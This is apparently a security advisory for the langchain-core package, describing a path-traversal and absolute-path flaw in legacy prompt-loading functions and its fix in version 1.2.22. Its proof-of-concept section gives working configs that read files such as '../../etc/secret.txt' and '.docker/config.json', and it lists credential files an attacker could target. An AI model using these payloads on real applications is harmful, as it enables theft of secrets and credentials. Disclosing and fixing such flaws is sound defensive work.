Summary
Multiple functions in langchain_core.prompts.loading read files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations to load_prompt() or load_prompt_from_config(), an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (.txt for templates, .json/.yaml for examples).
Note: The affected functions (load_prompt, load_prompt_from_config, and the .save() method on prompt classes) are undocumented legacy APIs. They are superseded by the dumpd/dumps/load/loads serialization APIs in langchain_core.load, which do not perform filesystem reads and use an allowlist-based security model. As part of this fix, the legacy APIs have been formally deprecated and will be removed in 2.0.0.
Affected component
Package: langchain-core
File: langchain_core/prompts/loading.py
Affected functions: _load_template(), _load_examples(), _load_few_shot_prompt()
Severity
High
The score reflects the file-extension constraints that limit which files can be read.
Vulnerable code paths
| Config key |
Loaded by |
Readable extensions |
template_path, suffix_path, prefix_path |
_load_template() |
.txt |
examples (when string) |
_load_examples() |
.json, .yaml, .yml |
example_prompt_path |
_load_few_shot_prompt() |
.json, .yaml, .yml |
None of these code paths validated the supplied path against absolute path injection or .. traversal sequences before reading from disk.
Impact
An attacker who controls or influences the prompt configuration dict can read files outside the intended directory:
.txt files: cloud-mounted secrets (/mnt/secrets/api_key.txt), requirements.txt, internal system prompts.json/.yaml files: cloud credentials (~/.docker/config.json, ~/.azure/accessTokens.json), Kubernetes manifests, CI/CD configs, application settings
This is exploitable in applications that accept prompt configs from untrusted sources, including low-code AI builders and API wrappers that expose load_prompt_from_config().
Proof of concept
from langchain_core.prompts.loading import load_prompt_from_config
# Reads /tmp/secret.txt via absolute path injection
config = {
"_type": "prompt",
"template_path": "/tmp/secret.txt",
"input_variables": [],
}
prompt = load_prompt_from_config(config)
print(prompt.template) # file contents disclosed
# Reads ../../etc/secret.txt via directory traversal
config = {
"_type": "prompt",
"template_path": "../../etc/secret.txt",
"input_variables": [],
}
prompt = load_prompt_from_config(config)
# Reads arbitrary .json via few-shot examples
config = {
"_type": "few_shot",
"examples": "../../../../.docker/config.json",
"example_prompt": {
"_type": "prompt",
"input_variables": ["input", "output"],
"template": "{input}: {output}",
},
"prefix": "",
"suffix": "{query}",
"input_variables": ["query"],
}
prompt = load_prompt_from_config(config)Mitigation
Update langchain-core to >= 1.2.22.
The fix adds path validation that rejects absolute paths and .. traversal sequences by default. An allow_dangerous_paths=True keyword argument is available on load_prompt() and load_prompt_from_config() for trusted inputs.
As described above, these legacy APIs have been formally deprecated. Users should migrate to dumpd/dumps/load/loads from langchain_core.load.
Credit
References
jiayuqi7813 Reporter
VladimirEliTokarev Reporter
Rickidevs Reporter
Summary
Multiple functions in
langchain_core.prompts.loadingread files from paths embedded in deserialized config dicts without validating against directory traversal or absolute path injection. When an application passes user-influenced prompt configurations toload_prompt()orload_prompt_from_config(), an attacker can read arbitrary files on the host filesystem, constrained only by file-extension checks (.txtfor templates,.json/.yamlfor examples).Note: The affected functions (
load_prompt,load_prompt_from_config, and the.save()method on prompt classes) are undocumented legacy APIs. They are superseded by thedumpd/dumps/load/loadsserialization APIs inlangchain_core.load, which do not perform filesystem reads and use an allowlist-based security model. As part of this fix, the legacy APIs have been formally deprecated and will be removed in 2.0.0.Affected component
Package:
langchain-coreFile:
langchain_core/prompts/loading.pyAffected functions:
_load_template(),_load_examples(),_load_few_shot_prompt()Severity
High
The score reflects the file-extension constraints that limit which files can be read.
Vulnerable code paths
template_path,suffix_path,prefix_path_load_template().txtexamples(when string)_load_examples().json,.yaml,.ymlexample_prompt_path_load_few_shot_prompt().json,.yaml,.ymlNone of these code paths validated the supplied path against absolute path injection or
..traversal sequences before reading from disk.Impact
An attacker who controls or influences the prompt configuration dict can read files outside the intended directory:
.txtfiles: cloud-mounted secrets (/mnt/secrets/api_key.txt),requirements.txt, internal system prompts.json/.yamlfiles: cloud credentials (~/.docker/config.json,~/.azure/accessTokens.json), Kubernetes manifests, CI/CD configs, application settingsThis is exploitable in applications that accept prompt configs from untrusted sources, including low-code AI builders and API wrappers that expose
load_prompt_from_config().Proof of concept
Mitigation
Update
langchain-coreto >= 1.2.22.The fix adds path validation that rejects absolute paths and
..traversal sequences by default. Anallow_dangerous_paths=Truekeyword argument is available onload_prompt()andload_prompt_from_config()for trusted inputs.As described above, these legacy APIs have been formally deprecated. Users should migrate to
dumpd/dumps/load/loadsfromlangchain_core.load.Credit
References